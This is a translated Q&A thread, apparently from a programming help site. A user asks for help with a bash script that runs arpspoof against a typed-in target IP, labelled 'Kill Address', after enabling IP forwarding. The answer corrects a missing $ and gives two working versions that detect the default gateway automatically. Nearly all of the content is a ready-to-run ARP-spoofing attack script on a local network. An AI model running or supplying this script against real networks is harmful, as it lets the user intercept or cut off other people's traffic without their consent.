1

此脚本有效,但我想删除输入默认网关的需要。

read -p "Gateway address: " gtw
echo "$yip"
read -p "Target IP Address: " tip
echo "$tip"
arpspoof -i "wlan0" "$gtw" -t "$tip"

我尝试使用字符串(我认为它被称为刺痛。-> 顶行),但我一定没有正确地做到这一点。我花了几个小时寻找其他帖子,但我不知道该怎么称呼它。这只是我写的第二个脚本。

gtw=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" "gtw" -t "$tip"
4

1 回答 1

3

缺少 $

gtw=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" "$gtw" -t "$tip"

或者直接将其包含在命令中

read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" $(route -n|grep ^0.0.0.0|cut -d' ' -f 10) -t "$tip"
于 2013-11-10T03:09:08.133 回答